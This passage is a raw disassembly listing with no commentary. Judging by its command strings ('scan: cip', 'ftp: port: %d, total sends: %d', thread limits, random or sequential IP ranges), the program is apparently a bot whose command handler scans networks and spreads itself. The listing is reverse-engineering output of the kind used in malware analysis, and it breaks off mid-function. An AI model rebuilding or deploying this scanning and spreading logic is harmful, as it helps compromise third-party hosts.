		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_422410	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_422520	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42263B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FCB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB90[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63B0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44768F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi ; dword_50FB08
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444448
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444448


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5EDAB2
		mov	eax, dword_444448
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444450


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5EDAB2
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5EDAB2
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi ; dword_50FB08
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444448
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444448
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444448[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DD4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		call	near ptr 77C47660h
		nop
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset dword_444584
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60CD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_444584
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp ; dword_50FA90
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp ; dword_50FA90
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60CD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
